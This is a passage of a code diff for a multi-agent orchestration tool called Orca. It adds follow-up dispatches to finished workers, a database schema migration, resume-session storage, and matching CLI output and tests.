when you need it again.", + "If the user wants to watch a worker, start it with `--keep-open`; to keep one", + "already started, run `ORCA orchestration worker-keep-open --dispatch `.", "If `worker-list` shows no `autoReleaseAt` for a finished worker, release it yourself.", "", "## Task spec", @@ -2571,7 +2576,7 @@ const ORCHESTRATION_MARKDOWN = [ "", "| Situation | Reference |", "| ---------------------------------------------- | ----------------------------------------- |", - "| Task DAGs, several Runs, reusing a worker | `references/coordinator-loop.md` |", + "| Task DAGs, several Runs | `references/coordinator-loop.md` |", "| Child worktrees, SSH, WSL, a connected server | `references/placement-and-remote.md` |", "| Group messages, inbox scripts | `references/messaging-and-gates.md` |", "| A failed or unknown worker; retry, stop, reset | `references/recovery-and-cleanup.md` |", @@ -2604,17 +2609,6 @@ const ORCHESTRATION_COORDINATOR_LOOP_REFERENCE_MARKDOWN = [ "commands without `--run` use the newest Run, so pass `--run ` for an earlier", "one. `run-use` keeps only the Run it names.", "", - "## Reusing a worker", - "", - "To give a finished worker follow-up work, create the Task, then start it on the", - "`terminal` and `workspace` from that worker's `worker-start` receipt or", - "`worker-list` row:", - "", - "```text", - "ORCA orchestration task-create --spec \"\"", - "ORCA orchestration worker-start --task --terminal --worktree ", - "```", - "", ].join('\n') // oxfmt-ignore @@ -2646,6 +2640,12 @@ const ORCHESTRATION_LOW_LEVEL_TOPOLOGY_REFERENCE_MARKDOWN = [ "ORCA orchestration dispatch --task --to --inject", "```", "", + "To give a Task to a terminal or chat Orca did not start:", + "", + "```text", + "ORCA orchestration worker-start --task --terminal --worktree --json", + "```", + "", ].join('\n') // oxfmt-ignore diff --git a/src/cli/handlers/orchestration/agent-view.test.ts b/src/cli/handlers/orchestration/agent-view.test.ts index d23b6533b82..8a65341cd3c 100644 --- a/src/cli/handlers/orchestration/agent-view.test.ts +++ b/src/cli/handlers/orchestration/agent-view.test.ts @@ -191,6 +191,36 @@ describe('orchestration agent views', () => { ) }) + it('prints a follow-up as where it went, naming the launch mode only for a fresh start', async () => { + const followUp = (delivery: string) => + run( + 'send', + [ + ['to', 'dispatch:ctx_1'], + ['subject', 'More'] + ], + { + ...OLDER_RUNTIME_START, + dispatchId: 'ctx_2', + delivery, + followUpOf: 'ctx_1', + turnStart: 'queued', + mode: { + mode: 'terminal', + preferred: 'terminal', + detail: 'Started a terminal agent worker.' + }, + next: 'Orca wakes you when workers report; end your turn.' + } + ) + + expect((await followUp('reopened')).stdout).toBe( + 'delivery=reopened followUpOf=ctx_1 dispatchId=ctx_2 taskId=task_1 runId=run_1 state=ready terminal=term_agent workspace=wt_1::/repo queued=true\n' + + 'Next: Orca wakes you when workers report; end your turn.' + ) + expect((await followUp('started_fresh')).stdout).toContain('mode=terminal') + }) + it('lists each worker with its agent terminal and a runnable next action', async () => { const { stdout } = await run('worker-list', [['run', 'run_1']], { workers: [ diff --git a/src/cli/handlers/orchestration/message-send-handler.ts b/src/cli/handlers/orchestration/message-send-handler.ts index 717ff365394..ca9991e77c2 100644 --- a/src/cli/handlers/orchestration/message-send-handler.ts +++ b/src/cli/handlers/orchestration/message-send-handler.ts @@ -2,6 +2,9 @@ import type { CommandHandler } from '../../dispatch' import { printResult } from '../../format' import { printOrchestrationResult } from './agent-view' import { withReceiptNext } from './receipt-next-text' +import { formatWorkerStart } from './worker-output' +import { WORKER_FOLLOW_UP_VIEW, type WorkerFollowUpReceipt } from './worker-start-agent-view' +import { withResolvedNextCommands } from '../../orchestration-mutation-recovery' import { getOptionalStringFlag, getRequiredStringFlag } from '../../flags' import { RuntimeClientError } from '../../runtime-client' import { readInjectedAgentSessionId } from '../../../shared/agent-session-caller-env' @@ -42,6 +45,7 @@ type OrchestrationSendResult = { next?: string } & ( recipients: number warnings?: SendRecipientWarning[] } + | (WorkerFollowUpReceipt & { warnings?: SendRecipientWarning[] }) | { relay: { messageId: string @@ -124,10 +128,22 @@ export const ORCHESTRATION_SEND_HANDLER: Record = { throw new RuntimeClientError(result.result.lifecycle.code, result.result.lifecycle.reason) } if (!flags.has('full')) { - printOrchestrationResult(result, json, { fields: sendFields }) + if ('delivery' in result.result) { + const followUp = withResolvedNextCommands(result.result) + printOrchestrationResult({ ...result, result: followUp }, json, WORKER_FOLLOW_UP_VIEW) + } else { + printOrchestrationResult({ ...result, result: result.result }, json, { fields: sendFields }) + } return } - printResult(result, json, (value) => { + if ('delivery' in result.result && result.result.state !== 'ready') { + process.exitCode = 1 + } + const rendered = + 'delivery' in result.result + ? { ...result, result: withResolvedNextCommands(result.result) } + : result + printResult(rendered, json, (value) => { const warnings = 'warnings' in value ? (value.warnings ?? []) : [] const withWarnings = (line: string): string => withReceiptNext( @@ -142,6 +158,14 @@ export const ORCHESTRATION_SEND_HANDLER: Record = { : '' return withWarnings(`Sent ${value.message.id}${autoRelease}`) } + if ('delivery' in value) { + return withWarnings( + `Follow-up of ${value.followUpOf} (${value.delivery})\n${formatWorkerStart( + // The mode line describes a new launch; only a fresh start is one. + value.delivery === 'started_fresh' ? value : { ...value, mode: undefined } + )}` + ) + } if ('relay' in value) { if (value.relay.destination === 'worker') { return withWarnings( @@ -172,7 +196,7 @@ type SendFields = { } // The message row echoes what the caller just sent; only its id is new. -function sendFields(value: OrchestrationSendResult): SendFields { +function sendFields(value: Exclude): SendFields { const lifecycle = 'lifecycle' in value ? value.lifecycle : undefined const common = { lifecycle: lifecycle?.action, diff --git a/src/cli/handlers/orchestration/worker-agent-views.ts b/src/cli/handlers/orchestration/worker-agent-views.ts index 0e59dfac6eb..d757af24f58 100644 --- a/src/cli/handlers/orchestration/worker-agent-views.ts +++ b/src/cli/handlers/orchestration/worker-agent-views.ts @@ -21,6 +21,7 @@ export type WorkerShowResult = { taskId: string runId?: string status: string + followUpOf?: string | null } | null worker: { dispatchId?: string @@ -43,6 +44,7 @@ type WorkerShowFields = { dispatchId: string taskId?: string runId?: string + followUpOf?: string state: string stage: string liveness?: string @@ -63,6 +65,7 @@ export const WORKER_SHOW_VIEW: OrchestrationAgentView = { @@ -93,15 +93,8 @@ export const ORCHESTRATION_WORKER_LAUNCH_HANDLER: Record const renderedResult = { ...result, result: { - ...result.result, - ...(keepOpenState === 'retained' ? { keptOpen: true as const } : {}), - ...(result.result.nextCommands - ? { - nextCommands: result.result.nextCommands.map((command) => - renderResolvedOrchestrationCommand(command) - ) - } - : {}) + ...withResolvedNextCommands(result.result), + ...(keepOpenState === 'retained' ? { keptOpen: true as const } : {}) } } if (flags.has('full')) { diff --git a/src/cli/handlers/orchestration/worker-observation-handlers.ts b/src/cli/handlers/orchestration/worker-observation-handlers.ts index 2d05b364a42..f48c5ddce92 100644 --- a/src/cli/handlers/orchestration/worker-observation-handlers.ts +++ b/src/cli/handlers/orchestration/worker-observation-handlers.ts @@ -27,6 +27,9 @@ export const ORCHESTRATION_WORKER_OBSERVATION_HANDLERS: Record & { + delivery: WorkerFollowUpReceipt['delivery'] + followUpOf: string + /** Behind the worker's own finishing turn: it runs when that turn ends. */ + queued?: true + mode?: string + modeDetail?: string +} + +export const WORKER_FOLLOW_UP_VIEW: OrchestrationAgentView< + WorkerFollowUpReceipt, + WorkerFollowUpFields +> = { + fields: (value) => { + const { mode, modeDetail, ...start } = WORKER_START_VIEW.fields(value) + return { + delivery: value.delivery, + followUpOf: value.followUpOf, + ...start, + queued: value.turnStart === 'queued' ? true : undefined, + // The launch mode describes a new worker; only a fresh start is one. + ...(value.delivery === 'started_fresh' ? { mode, modeDetail } : {}) + } + }, + failure: WORKER_START_VIEW.failure +} + function findEffectId( effects: unknown[] | undefined, kind: string, diff --git a/src/cli/orchestration-mutation-recovery.ts b/src/cli/orchestration-mutation-recovery.ts index d005d7d9e36..33fd545f3f4 100644 --- a/src/cli/orchestration-mutation-recovery.ts +++ b/src/cli/orchestration-mutation-recovery.ts @@ -222,3 +222,15 @@ function stripUnsafeRetryAdvice(message: string, requestId: string): string { .replace(' Retry the command.', '') .replace(` Orchestration mutation request ID: ${requestId}.`, '') } + +/** Receipts name recovery commands as `orca …`; resolve them for this install before any output, JSON included. */ +export function withResolvedNextCommands(receipt: T): T { + return receipt.nextCommands + ? { + ...receipt, + nextCommands: receipt.nextCommands.map((command) => + renderResolvedOrchestrationCommand(command) + ) + } + : receipt +} diff --git a/src/cli/runtime/client.ts b/src/cli/runtime/client.ts index b711baee051..0ba43f6ec88 100644 --- a/src/cli/runtime/client.ts +++ b/src/cli/runtime/client.ts @@ -203,6 +203,10 @@ export class RuntimeClient { const readiness = resolveWorkerStartReadinessTimeoutMs(requested) return Math.max(resolveWorkerStartClientTimeoutMs(readiness), this.requestTimeoutMs) } + // A send to a finished worker starts its follow-up, which waits as worker-start does. + if (method === 'orchestration.send') { + return Math.max(resolveWorkerStartClientTimeoutMs(), this.requestTimeoutMs) + } if ( (method === 'orchestration.check' && isWaitingCheck(params)) || method === 'terminal.wait' diff --git a/src/cli/specs/orchestration-worker-specs.ts b/src/cli/specs/orchestration-worker-specs.ts index 4a050b1620f..0640ad27373 100644 --- a/src/cli/specs/orchestration-worker-specs.ts +++ b/src/cli/specs/orchestration-worker-specs.ts @@ -39,7 +39,7 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'Current and existing worktrees never rerun setup; a fresh agent terminal is created unless --terminal is explicit.', 'When reusing --terminal, pass --worktree for that terminal; current means the coordinator worktree.', "Reusing a settled worker's terminal with --terminal before its autoReleaseAt cancels that automatic release; after it, the start is refused while the release runs.", - 'A terminal the user kept open is refused for --terminal (terminal_kept_open); start the worker in another terminal.', + 'A terminal the user kept open takes --terminal work and stays kept open.', '--agent takes an Orca agent id enabled on the worker server, such as claude, codex, cursor, antigravity, muse, zcode, opencode, or opencode2.', '--model supports Claude, Codex, Cursor, Antigravity, Grok, and Muse opaque provider model ids; --effort requires --model. OMP accepts --model only; --effort is unsupported. Neither can combine with --terminal. OpenCode model selection requires an existing worktree, a verified execution-host CLI, and an available model; effort is unsupported. Other agents, including zcode, launch with the model from their own config.', 'New worktrees use agent-first creation and default --setup to run. Repository start-immediately runs setup beside the agent; wait-for-setup gates agent readiness and task input.', diff --git a/src/main/runtime/orca-runtime-agent-transitions.ts b/src/main/runtime/orca-runtime-agent-transitions.ts index ca3b3725bf7..7a58e393dab 100644 --- a/src/main/runtime/orca-runtime-agent-transitions.ts +++ b/src/main/runtime/orca-runtime-agent-transitions.ts @@ -1,3 +1,4 @@ +import { watchMovedWorkerResumeSessions } from './rpc/methods/orchestration/worker/worker-resume-session-capture' import { AgentTransitionDetector } from '../agent-hooks/agent-transition-detector' import type { ConnectorCloud } from '../connector-cloud/connector-cloud' import type { ExternalConversationSeam } from '../external-conversations/external-conversation-seam' @@ -83,6 +84,17 @@ export abstract class OrcaRuntimeWithAgentTransitions extends OrcaRuntimeWithMig this.agentTransitions.subscribe((change) => this.terminalAgentPhonePush.observe(change)) this.agentTransitions.subscribe((change) => this.terminalWorkerTurnStops.observe(change)) this.agentTransitions.subscribe((change) => this.workerAutoReleaseActivity.observePane(change)) + const saveMovedWorkerSessions = watchMovedWorkerResumeSessions( + this, + () => this._orchestrationDb + ) + this.subscribeAgentProviderSessionChangesFn?.((sessions) => { + try { + saveMovedWorkerSessions(sessions) + } catch (error) { + console.warn('[orchestration] a worker conversation change was not saved', error) + } + }) } /** Whether a worker's agent is in a turn now, working or waiting on the user; an automatic close never takes one. */ diff --git a/src/main/runtime/orca-runtime.ts b/src/main/runtime/orca-runtime.ts index 2d74248d146..0364ce3eb3c 100644 --- a/src/main/runtime/orca-runtime.ts +++ b/src/main/runtime/orca-runtime.ts @@ -53,6 +53,8 @@ import { sidebarInputsFeedDomains } from './sidebar-inputs/sidebar-inputs-feed-d import { requireSwitchedOn } from './sidebar-inputs/require-switched-on' import { HEADLESS_RUNTIME_WINDOW_ID } from '../../shared/runtime-session-contracts' import { getHostDisplayLabelOverrides } from '../../shared/host-setting-overrides' +import type { OrchestrationDb } from './orchestration/db' +import { continueRestoredWorkerMailSoon } from './rpc/methods/orchestration/messaging/settled-worker-follow-through' const OrcaRuntimeSidebarBase: typeof OrcaRuntimeWithAgentTransitions = ORCA_SIDEBAR_INPUTS_IS_MAIN ? OrcaRuntimeWithSidebarTemporal @@ -235,6 +237,10 @@ class OrcaRuntimeService extends OrcaRuntimeSidebarBase { this.workspaceLayoutStream.markLiveTitlesDirty() } + protected continueRestoredWorkerMail(db: OrchestrationDb): void { + continueRestoredWorkerMailSoon(this, db, () => this._orchestrationDb === db) + } + /** Read-only layout stream; layout.subscribe is not advertised yet. */ subscribeWorkspaceLayouts( listener: Parameters[0] diff --git a/src/main/runtime/orchestration/db/contract-constants.ts b/src/main/runtime/orchestration/db/contract-constants.ts index cf3db3187d3..04192854ac6 100644 --- a/src/main/runtime/orchestration/db/contract-constants.ts +++ b/src/main/runtime/orchestration/db/contract-constants.ts @@ -16,4 +16,4 @@ export function federatedStubHomeRunId(dispatchId: string): string { export const LEGACY_CONTRACT_VERSION = 0 export const CURRENT_CONTRACT_VERSION = ORCHESTRATION_CONTRACT_VERSION -export const SCHEMA_VERSION = 45 +export const SCHEMA_VERSION = 46 diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts new file mode 100644 index 00000000000..5e9a6c3a02c --- /dev/null +++ b/src/main/runtime/orchestration/db/dispatch-context/worker-follow-up-lineage.ts @@ -0,0 +1,193 @@ +import { + normalizeAgentProviderSession, + type AgentProviderSessionMetadata +} from '../../../../../shared/agent-session-resume' +import { + getConnectionExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host' +import type { ExactWorkerProviderSession } from '../../../../../shared/orchestration-worker-output' +import type { TuiAgent } from '../../../../../shared/tui-agent' +import { isTuiAgent } from '../../../../../shared/tui-agent-config' +import { isLocalHookConnectionId } from '../../../../../shared/wsl-hook-relay-contract' +import type { DispatchContextRow } from '../../types' +import type { WorkerTerminalResourceRow } from '../../worker-terminal-ownership' +import type { OrchestrationDb } from '../orchestration-db' + +/** The conversation a closed terminal worker reopens in, as the resume path takes it. */ +export type WorkerResumeSession = { + agent: TuiAgent + providerSession: AgentProviderSessionMetadata + captureHostId: ExecutionHostId +} + +export function getFollowUpDispatch( + db: OrchestrationDb, + dispatchId: string +): DispatchContextRow | undefined { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table is exactly its row shape. + return db.db + .prepare('SELECT * FROM dispatch_contexts WHERE follow_up_of_dispatch_id = ?') + .get(dispatchId) as DispatchContextRow | undefined +} + +/** A worker's newest Dispatch and resource, from any Dispatch it ran; follow-ups and `worker-start --terminal` both continue it. */ +export function resolveWorkerLineage( + db: OrchestrationDb, + dispatchId: string +): { latest: DispatchContextRow; resource: WorkerTerminalResourceRow | undefined } | undefined { + const addressed = db.getDispatchContextById(dispatchId) + if (!addressed) { + return undefined + } + let latest = addressed + const resourceOf = (id: string) => + db.getWorkerTerminalResourceByOwner(id) ?? db.getWorkerTerminalResourceFormerlyOwnedBy(id) + const seen = new Set([latest.id]) + // A follow-up that never got a worker continues the nearest one before it that did. + let resource = resourceOf(latest.id) + for (let back = addressed; !resource && back.follow_up_of_dispatch_id;) { + const prior = db.getDispatchContextById(back.follow_up_of_dispatch_id) + if (!prior || seen.has(prior.id)) { + break + } + seen.add(prior.id) + back = prior + resource = resourceOf(prior.id) + } + for (;;) { + const transferred = resource && resource.owner_dispatch_id !== latest.id ? resource : undefined + const next = + getFollowUpDispatch(db, latest.id) ?? + (transferred ? db.getDispatchContextById(transferred.owner_dispatch_id) : undefined) + if (!next || seen.has(next.id)) { + return { latest, resource } + } + seen.add(next.id) + latest = next + resource = resourceOf(next.id) ?? resource + } +} + +export function readWorkerResumeSession( + resource: Pick | undefined +): WorkerResumeSession | null { + if (!resource?.resume_session) { + return null + } + try { + const parsed: unknown = JSON.parse(resource.resume_session) + if (typeof parsed !== 'object' || parsed === null) { + return null + } + const agent = 'agent' in parsed ? parsed.agent : undefined + const connectionId = 'connectionId' in parsed ? parsed.connectionId : undefined + const providerSession = normalizeAgentProviderSession( + 'providerSession' in parsed ? parsed.providerSession : undefined + ) + return isTuiAgent(agent) && + providerSession && + (connectionId === null || typeof connectionId === 'string') + ? { agent, providerSession, captureHostId: getConnectionExecutionHostId(connectionId) } + : null + } catch { + return null + } +} + +/** Keep the agent's conversation on its worker's row while hook rows still name it; they vanish with the pane. */ +export function recordWorkerResumeSession( + db: OrchestrationDb, + resourceId: string, + session: ExactWorkerProviderSession | null +): void { + if (!session || !isTuiAgent(session.agent)) { + return + } + // WSL relay tags are local transport; only SSH connection IDs identify remote hosts. + const connectionId = isLocalHookConnectionId(session.connectionId) + ? null + : (session.connectionId ?? null) + const value = JSON.stringify({ + agent: session.agent, + providerSession: session.providerSession, + connectionId + }) + // A repeat of the stored conversation writes nothing. + db.db + .prepare( + 'UPDATE worker_terminal_resources SET resume_session = ? WHERE id = ? AND resume_session IS NOT ?' + ) + .run(value, resourceId, value) +} + +/** A reopened worker keeps its conversation until its own pane reports one. */ +export function carryWorkerResumeSession( + db: OrchestrationDb, + toDispatchId: string, + from: Pick +): void { + db.db + .prepare( + `UPDATE worker_terminal_resources SET resume_session = COALESCE(resume_session, ?) + WHERE owner_dispatch_id = ?` + ) + .run(from.resume_session, toDispatchId) +} + +/** Mail a coordinator sends a working worker, and so what continues one once it has reported. */ +export const FOLLOW_UP_MESSAGE_TYPES = ['status', 'dispatch', 'handoff'] as const + +const UNREAD_FOLLOW_UP_MAIL_SQL = `SELECT 1 FROM messages + WHERE to_handle = 'dispatch:' || dispatch_contexts.id AND read = 0 + AND delivery_contract = 'current_delivery' + AND type IN (${FOLLOW_UP_MESSAGE_TYPES.map((type) => `'${type}'`).join(', ')})` + +/** In the report's own settlement, so a restart cannot lose mail the worker never read. */ +export function markUnreadFollowUpMail(db: OrchestrationDb, dispatchId: string): void { + db.db + .prepare( + `UPDATE dispatch_contexts SET follow_up_mail_at = datetime('now') + WHERE id = ? AND EXISTS (${UNREAD_FOLLOW_UP_MAIL_SQL})` + ) + .run(dispatchId) +} + +/** A follow-up that did not start gives back the mail it took, unread where it was sent. */ +export function restoreFollowUpMail(db: OrchestrationDb, messageIds: readonly string[]): void { + if (messageIds.length > 0) { + db.db + .prepare( + `UPDATE messages SET read = 0, delivered_at = NULL WHERE id IN (${messageIds.map(() => '?').join(',')})` + ) + .run(...messageIds) + } +} + +export function clearFollowUpMail(db: OrchestrationDb, dispatchId: string): void { + db.db + .prepare('UPDATE dispatch_contexts SET follow_up_mail_at = NULL WHERE id = ?') + .run(dispatchId) +} + +export function listDispatchesWithFollowUpMail(db: OrchestrationDb): string[] { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this projection selects exactly the id column. + const rows = db.db + .prepare('SELECT id FROM dispatch_contexts WHERE follow_up_mail_at IS NOT NULL') + .all() as { id: string }[] + return rows.map((row) => row.id) +} + +/** The worker resource Orca still holds for a pane, whose conversation a provider-session change moves. */ +export function findHeldWorkerResourceForPane( + db: OrchestrationDb, + paneKey: string +): WorkerTerminalResourceRow | undefined { + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: SELECT * over this table is exactly its row shape. + return db.db + .prepare( + `SELECT * FROM worker_terminal_resources + WHERE pane_key = ? AND ownership_state != 'released' ORDER BY updated_at DESC LIMIT 1` + ) + .get(paneKey) as WorkerTerminalResourceRow | undefined +} diff --git a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts index f1e737e6713..f945c90bef8 100644 --- a/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts +++ b/src/main/runtime/orchestration/db/dispatch-context/worker-report-settlement.ts @@ -1,3 +1,4 @@ +import { markUnreadFollowUpMail } from './worker-follow-up-lineage' import type { WorkerReportOutcome, WorkerReportSettlement } from '../../types' import type { OrchestrationDb } from '../orchestration-db' import { AGENT_PROMPT_STALLED_ERROR } from '../../../agent-prompt-submission-verification' @@ -283,6 +284,7 @@ export function settleWorkerReportInTransaction( this.armWorkerTerminalAutoReleaseStatement(params.dispatchId) } recordAcceptedReportFact(this, params) + markUnreadFollowUpMail(this, params.dispatchId) this.db.exec('RELEASE settle_worker_report') return { action: 'settled', outcome: params.outcome, duplicate: false } } diff --git a/src/main/runtime/orchestration/db/dispatch-row-writer.ts b/src/main/runtime/orchestration/db/dispatch-row-writer.ts index 2477f38ee00..69d6932c04c 100644 --- a/src/main/runtime/orchestration/db/dispatch-row-writer.ts +++ b/src/main/runtime/orchestration/db/dispatch-row-writer.ts @@ -38,8 +38,8 @@ WHERE id = ? AND status = 'ready' const STARTING_DISPATCH_CONTEXT_SQL = `INSERT INTO dispatch_contexts ( id, run_id, task_id, contract_version, launch_token_hash, retry_of_dispatch_id, creator_dispatch_id, creator_handle, creator_pane_key, creator_orca_session_id, depth, status, - failure_count, dispatched_at - ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', ?, datetime('now'))` + failure_count, dispatched_at, follow_up_of_dispatch_id + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'pending', ?, datetime('now'), ?)` const REMOTE_DISPATCH_ATTACHMENT_SQL = `INSERT INTO remote_dispatch_attachments ( dispatch_id, home_run_id, task_id, home_peer_fingerprint, protocol_version, runtime_epoch, depth @@ -117,6 +117,7 @@ export function insertStartingDispatchContextRow( creatorPaneKey?: string | null creatorOrcaSessionId?: OrcaSessionId | null priorFailures: number + followUpOfDispatchId?: string | null } ): void { assertStampedDepth(params.depth) @@ -132,7 +133,8 @@ export function insertStartingDispatchContextRow( params.creatorPaneKey ?? null, params.creatorOrcaSessionId ?? null, params.depth, - params.priorFailures + params.priorFailures, + params.followUpOfDispatchId ?? null ) } diff --git a/src/main/runtime/orchestration/db/row-column-lists.ts b/src/main/runtime/orchestration/db/row-column-lists.ts index 52d6ea1989d..f6306ca3a97 100644 --- a/src/main/runtime/orchestration/db/row-column-lists.ts +++ b/src/main/runtime/orchestration/db/row-column-lists.ts @@ -62,7 +62,9 @@ export const DISPATCH_CONTEXT_COLUMNS = [ 'dispatched_at', 'completed_at', 'created_at', - 'last_heartbeat_at' + 'last_heartbeat_at', + 'follow_up_of_dispatch_id', + 'follow_up_mail_at' ] as const satisfies readonly (keyof DispatchContextRow)[] export const ATTEMPT_OBSERVATION_FACT_COLUMNS = [ diff --git a/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts b/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts index b8b76ce958c..523eae51824 100644 --- a/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts +++ b/src/main/runtime/orchestration/db/schema/create-core-tables-sql.ts @@ -194,7 +194,9 @@ CREATE TABLE IF NOT EXISTS worker_terminal_resources ( auto_release_at TEXT, auto_release_dispatch_id TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')), - updated_at TEXT NOT NULL DEFAULT (datetime('now')) + updated_at TEXT NOT NULL DEFAULT (datetime('now')), + -- JSON: the agent conversation a closed worker reopens in (WorkerResumeSession). + resume_session TEXT ); CREATE UNIQUE INDEX IF NOT EXISTS idx_worker_terminal_resources_owner diff --git a/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts b/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts index 7909839ec13..0be57654ebf 100644 --- a/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts +++ b/src/main/runtime/orchestration/db/schema/create-graph-tables-sql.ts @@ -181,7 +181,11 @@ CREATE TABLE IF NOT EXISTS dispatch_contexts ( dispatched_at TEXT, completed_at TEXT, created_at TEXT NOT NULL DEFAULT (datetime('now')), - last_heartbeat_at TEXT + last_heartbeat_at TEXT, + -- The settled Dispatch whose worker this one continues (a follow-up sent to it). + follow_up_of_dispatch_id TEXT, + -- Set when the worker reported with coordinator mail unread; cleared once that mail continues it. + follow_up_mail_at TEXT ); CREATE INDEX IF NOT EXISTS idx_dispatch_task ON dispatch_contexts(task_id); diff --git a/src/main/runtime/orchestration/db/schema/migrate-v46.ts b/src/main/runtime/orchestration/db/schema/migrate-v46.ts new file mode 100644 index 00000000000..54d3ec75a39 --- /dev/null +++ b/src/main/runtime/orchestration/db/schema/migrate-v46.ts @@ -0,0 +1,21 @@ +import type { OrchestrationDb } from '../orchestration-db' + +/** A follow-up Dispatch's link to the worker it continues, mail its worker left unread when it reported, and the conversation a closed worker reopens. */ +export function migrateV46(this: OrchestrationDb, current: number): void { + if (current >= 46) { + return + } + if (!this.hasColumn('dispatch_contexts', 'follow_up_of_dispatch_id')) { + this.db.exec('ALTER TABLE dispatch_contexts ADD COLUMN follow_up_of_dispatch_id TEXT') + } + if (!this.hasColumn('dispatch_contexts', 'follow_up_mail_at')) { + this.db.exec('ALTER TABLE dispatch_contexts ADD COLUMN follow_up_mail_at TEXT') + } + if (!this.hasColumn('worker_terminal_resources', 'resume_session')) { + this.db.exec('ALTER TABLE worker_terminal_resources ADD COLUMN resume_session TEXT') + } + this.db.exec(` + CREATE UNIQUE INDEX IF NOT EXISTS idx_dispatch_contexts_follow_up_of + ON dispatch_contexts(follow_up_of_dispatch_id) WHERE follow_up_of_dispatch_id IS NOT NULL; + `) +} diff --git a/src/main/runtime/orchestration/db/schema/migrate.ts b/src/main/runtime/orchestration/db/schema/migrate.ts index bd4a8f0d2b0..e1ef08be235 100644 --- a/src/main/runtime/orchestration/db/schema/migrate.ts +++ b/src/main/runtime/orchestration/db/schema/migrate.ts @@ -16,6 +16,7 @@ import { migrateV42 } from './migrate-v42' import { migrateV43 } from './migrate-v43' import { migrateV44 } from './migrate-v44' import { migrateV45 } from './migrate-v45' +import { migrateV46 } from './migrate-v46' import { DROP_REMOVED_WORK_TRIGGERS_SQL } from '../reset/removed-orchestration-work-store' // CREATE TABLE IF NOT EXISTS won't alter existing tables; migrate atomically before bumping user_version. @@ -49,6 +50,7 @@ export function migrate(this: OrchestrationDb): void { migrateV43.call(this, current) migrateV44.call(this, current) migrateV45.call(this, current) + migrateV46.call(this, current) this.createMailboxDeliveryIndexesIfPossible() // Recreate derived objects after table rebuilds; existing views would prevent RENAME. this.db.exec(DERIVED_DELIVERY_SCHEMA_SQL) diff --git a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts index 02d57c9988f..405ec357e53 100644 --- a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts +++ b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-start.ts @@ -8,6 +8,7 @@ import { insertStartingDispatchContextRow } from '../dispatch-row-writer' import { recordedCreatorIdentity, type DispatchCreator } from '../dispatch-depth' import { transitionLifecycleWithDb } from '../lifecycle-transition' import { taskNotFoundError, taskNotStartableError } from '../../task-dispatch-refusal' +import { getFollowUpDispatch } from '../dispatch-context/worker-follow-up-lineage' export function createStartingWorkerDispatch( this: OrchestrationDb, @@ -43,6 +44,12 @@ export function createStartingWorkerDispatch( maxDepth: number /** A worker's own Dispatch that authorized this helper; it must still be the creator here. */ requiredCreatorDispatchId?: string + /** The settled Dispatch whose worker this follow-up continues; only one follow-up claims it. */ + followUpOf?: string + /** Another mutation's pending receipt (a send's follow-up), told what this start accepted. */ + acceptedBy?: { callerFingerprint: string; requestId: string } + /** Mail this start delivers as its Task, read in the same claim. */ + consumesMessageIds?: readonly string[] } ): { dispatch: DispatchContextRow; worker: WorkerDispatchRow; task: TaskRow } { this.db.exec('BEGIN IMMEDIATE') @@ -71,6 +78,14 @@ export function createStartingWorkerDispatch( ) .run(receipt.callerFingerprint, receipt.requestId, receipt.method, receipt.payloadHash) } + const claimedFollowUp = params.followUpOf ? getFollowUpDispatch(this, params.followUpOf) : null + if (claimedFollowUp) { + throw new OrchestrationError( + 'follow_up_claimed', + `Dispatch ${params.followUpOf} already continues as Dispatch ${claimedFollowUp.id}.`, + { followUpDispatchId: claimedFollowUp.id } + ) + } const task = params.taskId ? this.getTask(params.taskId) : params.taskSpec @@ -145,7 +160,8 @@ export function createStartingWorkerDispatch( { effectsApplied: false } ) } - if (params.mutationReceipt) { + const accepting = params.mutationReceipt ?? params.acceptedBy + if (accepting) { this.db .prepare( `UPDATE mutation_receipts @@ -154,10 +170,13 @@ export function createStartingWorkerDispatch( ) .run( JSON.stringify({ accepted: { taskId: task.id, dispatchId: id } }), - params.mutationReceipt.callerFingerprint, - params.mutationReceipt.requestId + accepting.callerFingerprint, + accepting.requestId ) } + if (params.consumesMessageIds?.length) { + this.markAsReadAndDelivered([...params.consumesMessageIds]) + } insertStartingDispatchContextRow(this.db, { id, runId: task.run_id, @@ -168,6 +187,7 @@ export function createStartingWorkerDispatch( retryOfDispatchId: params.retryOf ?? null, priorFailures, creatorDispatchId, + followUpOfDispatchId: params.followUpOf ?? null, ...recordedCreatorIdentity(params.creator) }) this.db diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts index 326b02cf20b..df2ab3fd573 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-resource-store.ts @@ -2,7 +2,10 @@ import type { WorkerTerminalResourceRow, WorkerTerminalOwnershipState } from '../../worker-terminal-ownership' -import { WORKER_SETTLED_STATES } from '../../worker-terminal-ownership' +import { + USER_KEPT_WORKER_TERMINAL_SQL, + WORKER_SETTLED_STATES +} from '../../worker-terminal-ownership' import { OrchestrationError } from '../../orchestration-error' import { generateId } from '../generated-id' import type { 